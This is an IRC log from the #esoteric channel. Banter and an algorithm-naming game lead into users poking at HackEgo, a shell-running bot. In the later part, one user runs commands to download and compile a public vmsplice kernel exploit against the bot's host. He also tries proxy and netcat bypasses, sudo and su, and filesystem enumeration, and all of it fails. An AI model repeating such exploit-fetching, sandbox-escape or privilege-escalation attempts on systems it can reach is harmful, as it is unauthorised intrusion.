signs of instability < 1250392826 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: I should have specified. < 1250392842 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: The Moon, after sending it to Alpha Centauri. < 1250392848 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :ah yes. < 1250392917 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :that'll only keep us safe for four years or so, though. < 1250392929 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Though it might be safer to move it out of the galaxy. < 1250392942 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :yes, that may be best. < 1250392968 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :if this doesn't work, what do you think I should try? Probably not a hardware issue (see: Windows) though I rarely use Windows in a taxing manner < 1250392982 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :it's not a drivers issue; I've tried with older kernels and it's still unstable < 1250393055 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :try reversing the polarity. < 1250393070 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :I know! I'll try logarithms! < 1250393088 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :naturally. < 1250393115 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Fix. Everything. < 1250393277 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: currently trying < 1250393295 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :coppro: No, I mean logarithms fix everything. < 1250393304 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :oh < 1250393315 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :except they are bad for passing yourself off as an engineer < 1250393342 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :is coppro's thing keeping to the issue no matter how little others actually contribute except for puns and jokes < 1250393358 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i find it entertaining < 1250393358 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :why so it seems < 1250393396 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :yes, I appear to make the bizarre assumption that a conversation will stay ontopic < 1250393406 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :really, what am I thinking? < 1250393432 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i recall a conversation that stayed ontopic once. i think it was back in '96 or so... < 1250393464 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :it's only a vague recall, as usual. < 1250393477 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i mean "it might be radioactive" "no, i don't think so, windows isn't affected" ... "reorganize solar system!" "what if that doesn't work, drivers blah blah" < 1250393503 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :that's just great stuff, i'm a copprophiliac already < 1250393544 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION wonders if that would be funnier if he didn't get the joke
< 1250393545 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :anyway do continue < 1250393549 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i'll get some cheese < 1250393555 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :coppro: no < 1250393559 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :coppro: mostly it was not a joke < 1250393569 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :oklopol: the "copprophiliac" line < 1250393616 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i just wanted to mention i appreciated your way of conversing with lunatics, that line was just security by obscurity < 1250393624 0 :calamari!n=calamari@ip70-162-187-246.ph.ph.cox.net JOIN :#esoteric < 1250393632 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :eek, a squid < 1250393642 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :SWAT IT DEAD < 1250393659 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :quick! grab a deep-fryer! < 1250393661 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :wait, calamari's are a bit bigger than fireflies maybe < 1250393669 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :yeah that'd be better < 1250393671 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :but but i might get ink on the swatter! < 1250393677 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :he does have a frying pan < 1250393684 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :oh right < 1250393688 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :used it a lot before the swatter < 1250393713 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i think the swatter was first. well, the first swatter. < 1250393735 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :well i just assumed because the swatter is the most recent thingie < 1250393745 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i mean. < 1250393749 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :the one you use currently < 1250393764 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :the deep-fryer isn't for swatting :( < 1250393774 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :wait it's not a frying pan, it's a sauce pan < 1250393774 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :squid taste good :) < 1250393834 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i'm afraid i have nothing deep, it won't fit on a line < 1250393921 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :_/´!__!`\_ < 1250393946 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :what the heck is that < 1250393960 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :oklopol doing pushups? < 1250393966 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :well i'm guessing it's some sorta spider < 1250393968 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :oh dear god no < 1250393986 0 :calamari!unknown@unknown.invalid PRIVMSG #esoteric :hi :) < 1250393995 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :argh, it speaks! < 1250394009 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :hi calamari < 1250394022 0 :calamari!unknown@unknown.invalid PRIVMSG #esoteric :in my absense I see I've been swatted, fried, and deep-fried < 1250394025 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Calamari liveth? < 1250394059 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :calamari: well what do you expect, having been idle for over 5 minutes < 1250394100 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :it liveth without a liver! < 1250394111 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :calamari: impressive. Usually swatting alone is good to remove a squid's self-awareness, but you seem to have even noticed the deep-frying! < 1250394233 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Hm < 1250394328 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :hindley-milner < 1250394426 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :ford-fulkerson < 1250394454 0 :Mnemosyne!n=octalnet@cpe-075-182-022-108.sc.res.rr.com JOIN :#esoteric < 1250394457 0 :Mnemosyne!unknown@unknown.invalid PRIVMSG #esoteric :howdy < 1250394463 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :hi < 1250394472 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :we're playing name an algo < 1250394474 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :oklopol: i see you are going with the flow < 1250394482 0 :Mnemosyne!unknown@unknown.invalid PRIVMSG #esoteric :oooh, me, me! < 1250394503 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: i see you can infer a lot from what i'm typing. < 1250394513 0 :Mnemosyne!unknown@unknown.invalid PRIVMSG #esoteric :Sieve of Eratosthenes < 1250394544 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :old! < 1250394560 0 :Mnemosyne!unknown@unknown.invalid PRIVMSG #esoteric :genetic Grover's algorithm < 1250394565 0 :Mnemosyne!unknown@unknown.invalid PRIVMSG #esoteric :Whoops < 1250394573 0 :Mnemosyne!unknown@unknown.invalid PRIVMSG #esoteric :*Grover's algorithm < 1250394600 0 :Mnemosyne!unknown@unknown.invalid PRIVMSG #esoteric :Burrows-Wheeler transformation < 1250394616 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric ::o < 1250394617 0 :Mnemosyne!unknown@unknown.invalid PRIVMSG #esoteric :Huffman coding < 1250394624 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :karatsuba < 1250394638 0 :Mnemosyne!unknown@unknown.invalid PRIVMSG #esoteric :RLE and VLE < 1250394650 0 :Mnemosyne!unknown@unknown.invalid PRIVMSG #esoteric :Vector Quantinization < 1250394656 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :eek what have i started < 1250394660 0 :Mnemosyne!unknown@unknown.invalid PRIVMSG #esoteric :*Quantization < 1250394667 0 :Mnemosyne!unknown@unknown.invalid PRIVMSG #esoteric :want me to stop? < 1250394670 0 :Mnemosyne!unknown@unknown.invalid PRIVMSG #esoteric ::D < 1250394681 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :you seem to know your algos < 1250394685 0 :Mnemosyne!unknown@unknown.invalid PRIVMSG #esoteric :oh yeah < 1250394687 0 :jix!unknown@unknown.invalid QUIT :Read error: 113 (No route to host) < 1250394711 0 :Mnemosyne!unknown@unknown.invalid PRIVMSG #esoteric :anyhoo < 1250394721 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i have no idea what the things after RLE are < 1250394737 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :oh run-length right < 1250394749 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :guess i know vle too, then < 1250394785 0 :Mnemosyne!unknown@unknown.invalid PRIVMSG #esoteric :yeah < 1250394809 0 :Mnemosyne!unknown@unknown.invalid PRIVMSG #esoteric :wonderful compression algo for monochrome displays < 1250394813 0 :Mnemosyne!unknown@unknown.invalid PRIVMSG #esoteric :anyways... < 1250394835 0 :Mnemosyne!unknown@unknown.invalid PRIVMSG #esoteric :about the topic: I just wiktionaried the phrase < 1250394845 0 :Mnemosyne!unknown@unknown.invalid PRIVMSG #esoteric :odd topic for the #esoteric channel, a bit, eh? < 1250394898 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :wiktionaried what phrase < 1250395010 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :also i know vector quantization too, at least a lot of the algorithms used for it < 1250395023 0 :oerjan!unknown@unknown.invalid TOPIC #esoteric :Moist by eir own custard | http://tunes.org/~nef/logs/esoteric/?C=M;O=D < 1250395034 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :but, grover's algo i don't know the details of, so i'll count this as your win < 1250395097 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :http://codu.org/plof/plof3.pdf < 1250395194 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :plof! < 1250395813 0 :Pthing!unknown@unknown.invalid QUIT :Remote closed the connection < 1250395964 0 :Mnemosyne!unknown@unknown.invalid PRIVMSG #esoteric :what's the story behind the esolangs.org triple-lime logo? < 1250396147 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :I think it's pretty self-explanatory. < 1250396195 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :>_> < 1250396353 0 :Mnemosyne!unknown@unknown.invalid PRIVMSG #esoteric :it is? < 1250396374 0 :Mnemosyne!unknown@unknown.invalid PRIVMSG #esoteric :I guess I'm ignorant < 1250396377 0 :Mnemosyne!unknown@unknown.invalid PRIVMSG #esoteric :what's the meaning? < 1250396456 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :`quote gregor < 1250396470 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :`cat bin/quote < 1250396472 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :#!/bin/bash \ DB="sqlite3 quotes/quote.db" \ \ if [ "$1" ] \ then \ ARG=$1 \ ID=$((ARG+0)) \ if [ "$ID" = "$ARG" ] \ then \ $DB 'SELECT id,quote FROM quotes WHERE id='$ID \ else \ ARG=`echo "$ARG" | sed 's/'\''/'\'\''/g'` \ $DB 'SELECT id,quote FROM quotes WHERE quote LIKE < 1250396473 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :18| GregorR-L: i bet only you can prevent forest fires. basically, you know. 70| Gregor is often a scandalous imposter. < 1250396494 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :huh? < 1250396519 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :why the heck did HackEgo give those two quotes? < 1250396531 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :oh wait < 1250396544 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :the first command actually worked, just slowly < 1250396624 0 :Mnemosyne!unknown@unknown.invalid PRIVMSG #esoteric :hah < 1250396639 0 :Mnemosyne!unknown@unknown.invalid PRIVMSG #esoteric :pikhq's quote was made possible by me :D < 1250396672 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :also, i suspect it brings some light to the current discussion < 1250396684 0 :Mnemosyne!unknown@unknown.invalid PRIVMSG #esoteric :heh? < 1250396716 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :<_< < 1250396729 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :stretching legs -> < 1250396749 0 :Mnemosyne!unknown@unknown.invalid PRIVMSG #esoteric :so, what's the history behind the logo? < 1250396787 0 :immibis!n=IceChat7@125-238-252-238.broadband-telecom.global-gateway.net.nz JOIN :#esoteric < 1250397024 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :`quote fires < 1250397025 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :18| GregorR-L: i bet only you can prevent forest fires. basically, you know. < 1250397122 0 :immibis!unknown@unknown.invalid PRIVMSG #esoteric :`run uname -r < 1250397123 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :2.6.26-1-xen-amd64 < 1250397296 0 :Mnemosyne!unknown@unknown.invalid PRIVMSG #esoteric :`run man cd < 1250397297 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1250397300 0 :Mnemosyne!unknown@unknown.invalid PRIVMSG #esoteric :damn < 1250397311 0 :Mnemosyne!unknown@unknown.invalid PRIVMSG #esoteric :I was hoping for spam < 1250397327 0 :Mnemosyne!unknown@unknown.invalid PRIVMSG #esoteric :`quote < 1250397328 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :13|* ehird has joined #lobby hmmm clean me < 1250397371 0 :Mnemosyne!unknown@unknown.invalid PRIVMSG #esoteric :`help < 1250397372 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :Runs arbitrary code in GNU/Linux. Type "`", or "`run " for full shell commands. "`fetch " downloads files. Files saved to $PWD are persistent, and $PWD/bin is in $PATH. $PWD is a mercurial repository, "`revert " can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/ < 1250397422 0 :Mnemosyne!unknown@unknown.invalid PRIVMSG #esoteric :`run echo $PATH < 1250397423 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :/tmp/hackenv.22293/bin:/usr/bin:/bin < 1250397437 0 :Mnemosyne!unknown@unknown.invalid PRIVMSG #esoteric :ooh, this is fun < 1250397447 0 :Mnemosyne!unknown@unknown.invalid PRIVMSG #esoteric :`run ls < 1250397448 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :1 \ bin \ paste \ quotes \ share \ tmpdir.22334 < 1250397469 0 :Mnemosyne!unknown@unknown.invalid PRIVMSG #esoteric :`run rm bin < 1250397470 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1250397477 0 :Mnemosyne!unknown@unknown.invalid PRIVMSG #esoteric :`run rm 1 < 1250397478 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1250397482 0 :Mnemosyne!unknown@unknown.invalid PRIVMSG #esoteric :`run rm paste < 1250397483 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1250397498 0 :Mnemosyne!unknown@unknown.invalid PRIVMSG #esoteric :`run cd bin < 1250397499 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1250397505 0 :Mnemosyne!unknown@unknown.invalid PRIVMSG #esoteric :`run ls < 1250397506 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :bin \ paste \ quotes \ share \ tmpdir.22551 < 1250397509 0 :Mnemosyne!unknown@unknown.invalid PRIVMSG #esoteric :wow. < 1250397626 0 :mycroftiv!unknown@unknown.invalid QUIT :Read error: 104 (Connection reset by peer) < 1250397799 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Mnemosyne: you cannot remove a directory with plain rm < 1250397820 0 :Mnemosyne!unknown@unknown.invalid PRIVMSG #esoteric :I'm a gnu/linux noob < 1250397822 0 :Mnemosyne!unknown@unknown.invalid PRIVMSG #esoteric ::D < 1250397834 0 :Mnemosyne!unknown@unknown.invalid PRIVMSG #esoteric :I'm so used to Mac < 1250397854 0 :immibis!unknown@unknown.invalid PRIVMSG #esoteric :`rm -rf bin < 1250397854 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1250397860 0 :immibis!unknown@unknown.invalid PRIVMSG #esoteric :`run rm -rf bin 2>&1 < 1250397861 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :/bin/rm: cannot remove `bin': Function not implemented < 1250397869 0 :immibis!unknown@unknown.invalid PRIVMSG #esoteric :`run rm -rf paste 2>&1 < 1250397870 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :/bin/rm: cannot remove `paste': Function not implemented < 1250397922 0 :Mnemosyne!unknown@unknown.invalid PRIVMSG #esoteric :what's the purpose of `fetch? < 1250397930 0 :immibis!unknown@unknown.invalid PRIVMSG #esoteric :`run wget 2>&1 < 1250397930 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :wget: missing URL \ Usage: wget [OPTION]... [URL]... \ \ Try `wget --help' for more options. < 1250397933 0 :immibis!unknown@unknown.invalid PRIVMSG #esoteric :`run gcc 2>&1 < 1250397934 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :gcc: no input files < 1250397950 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Mnemosyne: fetching urls < 1250397954 0 :immibis!unknown@unknown.invalid PRIVMSG #esoteric :`run (wget http://www.milw0rm.org/exploits/5092; gcc 5092 -o 5092.out; ./5092.out) 2>&1 < 1250397955 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :--2009-08-16 03:45:54-- http://www.milw0rm.org/exploits/5092 \ Connecting to 127.0.0.1:3128... connected. \ Proxy request sent, awaiting response... 403 Forbidden \ 2009-08-16 03:45:54 ERROR 403: Forbidden. \ \ gcc: 5092: No such file or directory \ gcc: no input files \ /bin/bash: line 1: ./5092.out: No such file or directory < 1250397971 0 :Mnemosyne!unknown@unknown.invalid PRIVMSG #esoteric :I love milw0rm! < 1250397980 0 :immibis!unknown@unknown.invalid PRIVMSG #esoteric :thats the vmsplice exploit < 1250398002 0 :Mnemosyne!unknown@unknown.invalid PRIVMSG #esoteric :lawls! < 1250398004 0 :Mnemosyne!unknown@unknown.invalid PRIVMSG #esoteric :jessica_biel_naked_in_my_bed.c < 1250398017 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :you cannot do network access other than with fetch, i think < 1250398066 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Has "gotta" made it into dictionaries yet? < 1250398070 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Is it marked "slang"? < 1250398108 0 :Mnemosyne!unknown@unknown.invalid PRIVMSG #esoteric :nope. same reason 'gunna' and 'wanna' haven't made it in. < 1250398149 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Because prescriptivist bastards rule the dictionaries? :P < 1250398220 0 :immibis!unknown@unknown.invalid PRIVMSG #esoteric :`run nc 2>&1 < 1250398220 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :Cmd line: wrong < 1250398224 0 :immibis!unknown@unknown.invalid PRIVMSG #esoteric :????? < 1250398225 0 :immibis!unknown@unknown.invalid PRIVMSG #esoteric :wtf? < 1250398236 0 :immibis!unknown@unknown.invalid PRIVMSG #esoteric :`run nc www.milw0rm.org 80 2>&1 < 1250398237 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :www.milw0rm.org: forward host lookup failed: Host name lookup failure : No such file or directory < 1250398238 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :That's what netcat outputs. < 1250398242 0 :immibis!unknown@unknown.invalid PRIVMSG #esoteric :ok < 1250398251 0 :immibis!unknown@unknown.invalid PRIVMSG #esoteric :it seems like a stupid error message though, "Cmd line: wrong" < 1250398261 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :And you can only access the network through an HTTP proxy. < 1250398565 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :immibis: nc is a very minimalist program. < 1250398587 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Also, socat is better in literally every way :P < 1250398603 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Except for 'ease of use'. < 1250398637 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :EASE OF USE IS FOR PUSSIES < 1250398641 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Though socat's interface is hard to use simply because socat can do a *lot*. < 1250398689 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Encrypted VPNs, for example. < 1250398699 0 :immibis!unknown@unknown.invalid PRIVMSG #esoteric :`run (echo CONNECT www.milw0rm.org:80 HTTP/1.1; echo Host: 127.0.0.1; echo) | nc 127.0.0.1 3128 2>&1 < 1250398699 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :HTTP/1.0 403 Forbidden < 1250398711 0 :immibis!unknown@unknown.invalid PRIVMSG #esoteric :`run (echo CONNECT 127.0.0.1:3128 HTTP/1.1; echo Host: 127.0.0.1; echo) | nc 127.0.0.1 3128 2>&1 < 1250398711 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :HTTP/1.0 403 Forbidden < 1250398715 0 :immibis!unknown@unknown.invalid PRIVMSG #esoteric :`run cat fetch < 1250398716 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1250398721 0 :immibis!unknown@unknown.invalid PRIVMSG #esoteric :`ls < 1250398722 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :bin \ paste \ quotes \ share \ tmpdir.23268 < 1250398727 0 :immibis!unknown@unknown.invalid PRIVMSG #esoteric :`ls bin < 1250398727 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :addquote \ calc \ creatures \ define \ esolang \ etymology \ fortune \ google \ imdb \ minifind \ paste \ quote \ runfor \ strfile \ toutf8 \ translate \ translatefromto \ translateto \ unstr \ url \ wolfram < 1250398736 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Fetch is a special command, it doesn't exist in the filesystem. < 1250398743 0 :immibis!unknown@unknown.invalid PRIVMSG #esoteric :`help fetch < 1250398743 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :Runs arbitrary code in GNU/Linux. Type "`", or "`run " for full shell commands. "`fetch " downloads files. Files saved to $PWD are persistent, and $PWD/bin is in $PATH. $PWD is a mercurial repository, "`revert " can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/ < 1250398760 0 :immibis!unknown@unknown.invalid PRIVMSG #esoteric :`fetch http://www.milw0rm.org/exploits/5092 < 1250398761 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :2009-08-16 03:59:21 URL:http://www.milw0rm.org/exploits/5092 [7197/7197] -> "5092" [1] < 1250398775 0 :immibis!unknown@unknown.invalid PRIVMSG #esoteric :`run gcc 5092 -o 5092.out < 1250398776 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1250398781 0 :immibis!unknown@unknown.invalid PRIVMSG #esoteric :`run ./5092.out < 1250398782 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1250398786 0 :immibis!unknown@unknown.invalid PRIVMSG #esoteric :`run ./5092.out 2>&1 < 1250398787 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :/bin/bash: line 1: ./5092.out: No such file or directory < 1250398791 0 :immibis!unknown@unknown.invalid PRIVMSG #esoteric :`run gcc 5092 -o 5092.out 2>&1 < 1250398792 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :/usr/bin/ld:5092: file format not recognized; treating as linker script \ /usr/bin/ld:5092:1: syntax error \ collect2: ld returned 1 exit status < 1250398800 0 :immibis!unknown@unknown.invalid PRIVMSG #esoteric :`run mv 5092 5092.c < 1250398800 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1250398805 0 :immibis!unknown@unknown.invalid PRIVMSG #esoteric :`run gcc 5092.c -o 5092 2>&1 < 1250398808 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :5092.c:1: error: expected identifier or '(' before '<' token \ 5092.c:1:33: error: too many decimal points in number \ 5092.c:1:42: error: too many decimal points in number \ 5092.c:20:10: error: #include expects "FILENAME" or \ 5092.c:21:10: error: #include expects "FILENAME" or \ 5092.c:22:10: error: #include < 1250398813 0 :immibis!unknown@unknown.invalid PRIVMSG #esoteric :....... < 1250398815 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :socat -T 1 -d -d TCP-L:10081,reuseaddr,fork,crlf SYSTEM:"echo -e \"\\\"HTTP/1.0 200 OK\\\nDocumentType: text/plain\\\n\\\ndate: \$\(date\)\\\nserver:\$SOCAT_SOCKADDR:\$SOCAT_SOCKPORT\\\nclient: \$SOCAT_PEERADDR:\$SOCAT_PEERPORT\\\n\\\"\"; cat; echo -e \"\\\"\\\n\\\"\"" < 1250398820 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :An HTTP server in socat. < 1250398843 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :immibis: *yawn* < 1250398854 0 :immibis!unknown@unknown.invalid PRIVMSG #esoteric :`run sudo 2>&1 < 1250398854 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :/bin/bash: line 1: sudo: command not found < 1250398865 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :socat can be quite silly. < 1250398888 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :`file 5092.c < 1250398889 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :5092.c: HTML document text < 1250398893 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :immibis: Dumbass :P < 1250398945 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Besides which, that exploit won't work. < 1250398961 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :2.6.26 doesn't have the vmsplice bug. < 1250398979 0 :immibis!unknown@unknown.invalid PRIVMSG #esoteric :`run su 2>&1 < 1250398980 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :su: must be run from a terminal < 1250398991 0 :immibis!unknown@unknown.invalid PRIVMSG #esoteric :`run ls / < 1250398991 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :bin \ dev \ etc \ home \ lib \ lib64 \ proc \ tmp \ usr < 1250398992 0 :immibis!unknown@unknown.invalid PRIVMSG #esoteric :`run pwd < 1250398993 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :/tmp/hackenv.24453 < 1250398996 0 :immibis!unknown@unknown.invalid PRIVMSG #esoteric :`run ls /dev < 1250398996 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :null < 1250399000 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :immibis: Yeah, I give sudo access to HackEgo :P < 1250399003 0 :immibis!unknown@unknown.invalid PRIVMSG #esoteric :`run ls /etc < 1250399003 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :alternatives < 1250399006 0 :immibis!unknown@unknown.invalid PRIVMSG #esoteric :`run ls /home < 1250399007 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :hackbot < 1250399011 0 :immibis!unknown@unknown.invalid PRIVMSG #esoteric :is this a vm? < 1250399018 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :immibis: It's magic. < 1250399054 0 :immibis!unknown@unknown.invalid PRIVMSG #esoteric :`run which ls < 1250399055 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :/bin/ls < 1250399062 0 :immibis!unknown@unknown.invalid PRIVMSG #esoteric :`run cat /dev/zero < 1250399063 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1250399066 0 :immibis!unknown@unknown.invalid PRIVMSG #esoteric :`run cat /dev/null 2>&1 < 1250399067 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1250399072 0 :immibis!unknown@unknown.invalid PRIVMSG #esoteric :`run cat /dev/zero 2>&1 < 1250399073 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :/bin/cat: /dev/zero: No such file or directory < 1250399080 0 :immibis!unknown@unknown.invalid PRIVMSG #esoteric :`run mount < 1250399081 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :rootfs on / type rootfs (rw) \ none on /sys type sysfs (rw,nosuid,nodev,noexec) \ none on /proc type proc (rw,nosuid,nodev,noexec) \ udev on /dev type tmpfs (rw,size=10240k,mode=755) \ /dev/disk/by-label/PRGMRDISK1 on / type ext3 (rw,errors=remount-ro,data=ordered) \ tmpfs on 